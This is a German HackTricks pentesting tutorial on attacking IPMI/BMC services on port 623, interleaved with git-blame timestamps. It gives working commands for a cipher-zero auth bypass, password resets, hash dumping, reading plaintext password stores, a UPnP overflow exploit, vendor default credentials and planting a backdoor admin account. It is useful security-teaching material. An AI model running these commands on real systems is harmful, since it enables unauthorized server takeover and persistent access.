hacktricks/network-services-pentesting/623-udp-ipmi.md

146 lines
11 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
2022-05-01 16:57:45 +00:00
## 623/UDP/TCP - IPMI
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 10:42:55 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Grundlegende Informationen
2024-02-10 15:36:32 +00:00
### **Überblick über IPMI**
2022-10-02 21:10:53 +00:00
2024-02-10 15:36:32 +00:00
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bietet einen standardisierten Ansatz für die Fernverwaltung und Überwachung von Computersystemen, unabhängig vom Betriebssystem oder Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme auch dann remote zu verwalten, wenn sie ausgeschaltet oder nicht reagierend sind, und ist besonders nützlich für:
2022-10-02 21:10:53 +00:00
2024-02-10 15:36:32 +00:00
- Konfigurationen vor dem Betriebssystemstart
- Verwaltung bei ausgeschaltetem Zustand
- Wiederherstellung nach Systemausfällen
2022-10-02 21:10:53 +00:00
2024-02-10 15:36:32 +00:00
IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen und gleichzeitig Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.
2022-10-02 21:10:53 +00:00
2024-02-10 15:36:32 +00:00
Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, die die Fernverwaltungsfähigkeiten verbessern, insbesondere durch die Unterstützung von Version 2.0 für Serial over LAN. Zu den wichtigsten Komponenten gehören:
2024-02-10 15:36:32 +00:00
- **Baseboard Management Controller (BMC):** Der Haupt-Mikrocontroller für IPMI-Operationen.
- **Kommunikationsbusse und Schnittstellen:** Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedenen Schnittstellen für lokale und Netzwerkverbindungen.
- **IPMI-Speicher:** Zum Speichern von Protokollen und Daten.
2024-02-08 21:36:35 +00:00
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
2024-02-10 15:36:32 +00:00
**Standardport**: 623/UDP/TCP (Normalerweise läuft es auf UDP, kann aber auch auf TCP laufen)
2022-05-01 16:57:45 +00:00
## Enumeration
2024-02-10 15:36:32 +00:00
### Entdeckung
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
2024-02-10 15:36:32 +00:00
Sie können die Version mit folgendem Befehl **identifizieren**:
```bash
use auxiliary/scanner/ipmi/ipmi_version
2022-10-02 21:10:53 +00:00
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
2024-02-10 15:36:32 +00:00
### IPMI-Schwachstellen
2024-02-10 15:36:32 +00:00
Im Bereich von IPMI 2.0 wurde eine erhebliche Sicherheitslücke durch Dan Farmer entdeckt, die durch den **Chiffrentyp 0** offenbart wurde. Diese Schwachstelle, die detailliert in [Dan Farmers Forschung](http://fish2.com/ipmi/cipherzero.html) dokumentiert ist, ermöglicht unbefugten Zugriff, wenn ein gültiger Benutzer angegriffen wird, unabhängig vom eingegebenen Passwort. Diese Schwachstelle wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem bei allen IPMI 2.0-Implementierungen hinweist.
2024-02-10 15:36:32 +00:00
### **IPMI-Authentifizierungsumgehung über Chiffre 0**
2024-02-08 21:36:35 +00:00
2024-02-10 15:36:32 +00:00
Um diese Schwachstelle zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:
2024-02-08 21:36:35 +00:00
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
2024-02-10 15:36:32 +00:00
Die Ausnutzung dieser Schwachstelle ist mit `ipmitool` möglich, wie unten gezeigt, was das Auflisten und Ändern von Benutzerpasswörtern ermöglicht:
```bash
2024-02-08 21:36:35 +00:00
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
2024-02-10 15:36:32 +00:00
### **IPMI 2.0 RAKP-Authentifizierung: Remote-Passwort-Hash-Abruf**
2024-02-10 15:36:32 +00:00
Diese Schwachstelle ermöglicht den Abruf von gesalzenen gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
2024-02-10 15:36:32 +00:00
### **IPMI Anonyme Authentifizierung**
2024-02-10 15:36:32 +00:00
Eine Standardkonfiguration in vielen BMCs ermöglicht den "anonymen" Zugriff, der durch leere Benutzernamen- und Passwortzeichenketten gekennzeichnet ist. Diese Konfiguration kann ausgenutzt werden, um Passwörter von benannten Benutzerkonten mithilfe von `ipmitool` zurückzusetzen:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
2024-02-08 21:36:35 +00:00
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
2024-02-10 15:36:32 +00:00
### **Supermicro IPMI Klartext-Passwörter**
2024-02-10 15:36:32 +00:00
Eine kritische Designentscheidung in IPMI 2.0 erfordert die Speicherung von Klartext-Passwörtern innerhalb von BMCs zu Authentifizierungszwecken. Die Speicherung dieser Passwörter von Supermicro an Orten wie `/nv/PSBlock` oder `/nv/PSStore` wirft erhebliche Sicherheitsbedenken auf:
```bash
2024-02-08 21:36:35 +00:00
cat /nv/PSBlock
```
2024-02-10 15:36:32 +00:00
### **Supermicro IPMI UPnP-Schwachstelle**
2024-02-10 15:36:32 +00:00
Die Einbindung eines UPnP SSDP-Listeners in der IPMI-Firmware von Supermicro, insbesondere auf dem UDP-Port 1900, birgt ein erhebliches Sicherheitsrisiko. Schwachstellen in der Intel SDK für UPnP-Geräte Version 1.3.1, wie von [Rapid7's Offenlegung](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detailliert beschrieben, ermöglichen den Root-Zugriff auf das BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
2024-02-08 21:36:35 +00:00
### Brute Force
2024-02-10 15:36:32 +00:00
**HP randomisiert das Standardpasswort** für sein Produkt **Integrated Lights Out (iLO)** während der Herstellung. Diese Praxis unterscheidet sich von anderen Herstellern, die tendenziell **statische Standardanmeldeinformationen** verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte wird wie folgt bereitgestellt:
2024-02-10 15:36:32 +00:00
- **HP Integrated Lights Out (iLO)** verwendet ein **werkseitig zufällig generiertes 8-Zeichen-Passwort** als Standardpasswort und bietet somit ein höheres Sicherheitsniveau.
- Produkte wie **Dell's iDRAC, IBM's IMM** und **Fujitsu's Integrated Remote Management Controller** verwenden leicht erratbare Passwörter wie "calvin", "PASSW0RD" (mit einer Null) bzw. "admin".
- Ebenso verwenden **Supermicro IPMI (2.0), Oracle/Sun ILOM** und **ASUS iKVM BMC** einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" bzw. "admin" als Passwörter dienen.
2024-02-10 15:36:32 +00:00
## Zugriff auf den Host über BMC
2024-02-10 15:36:32 +00:00
Administrativer Zugriff auf den Baseboard Management Controller (BMC) eröffnet verschiedene Möglichkeiten, auf das Betriebssystem des Hosts zuzugreifen. Ein einfacher Ansatz besteht darin, die Tastatur-, Video- und Mausfunktionalität (KVM) des BMC auszunutzen. Dies kann entweder durch einen Neustart des Hosts zu einer Root-Shell über GRUB (mit `init=/bin/sh`) oder durch das Booten von einer virtuellen CD-ROM als Rettungsdatenträger erfolgen. Solche Methoden ermöglichen eine direkte Manipulation der Festplatte des Hosts, einschließlich dem Einfügen von Hintertüren, der Extraktion von Daten oder anderen erforderlichen Maßnahmen für eine Sicherheitsbewertung. Dies erfordert jedoch einen Neustart des Hosts, was ein erheblicher Nachteil ist. Ohne Neustart ist der Zugriff auf den laufenden Host komplexer und variiert je nach Konfiguration des Hosts. Wenn die physische oder serielle Konsole des Hosts angemeldet bleibt, kann sie leicht über die KVM- oder Serial-over-LAN (sol)-Funktionalitäten des BMCs über `ipmitool` übernommen werden. Die Erforschung der Ausnutzung gemeinsam genutzter Hardwareressourcen wie des I2C-Busses und des Super I/O-Chips ist ein Bereich, der weitere Untersuchungen erfordert.
2024-02-10 15:36:32 +00:00
## Einbringen von Hintertüren in den BMC vom Host aus
2024-02-10 15:36:32 +00:00
Nachdem ein Host mit einem BMC kompromittiert wurde, kann die **lokale BMC-Schnittstelle genutzt werden, um einen Hintertür-Benutzeraccount einzufügen**, der eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von **`ipmitool`** auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neuer Benutzeraccount über die lokale Schnittstelle des Hosts in den BMC injiziert werden kann, wodurch die Authentifizierung umgangen wird. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
2022-05-01 16:57:45 +00:00
## Shodan
2020-10-05 13:04:03 +00:00
* `port:623`
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
## Referenzen
2022-10-02 21:10:53 +00:00
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-03 10:42:55 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>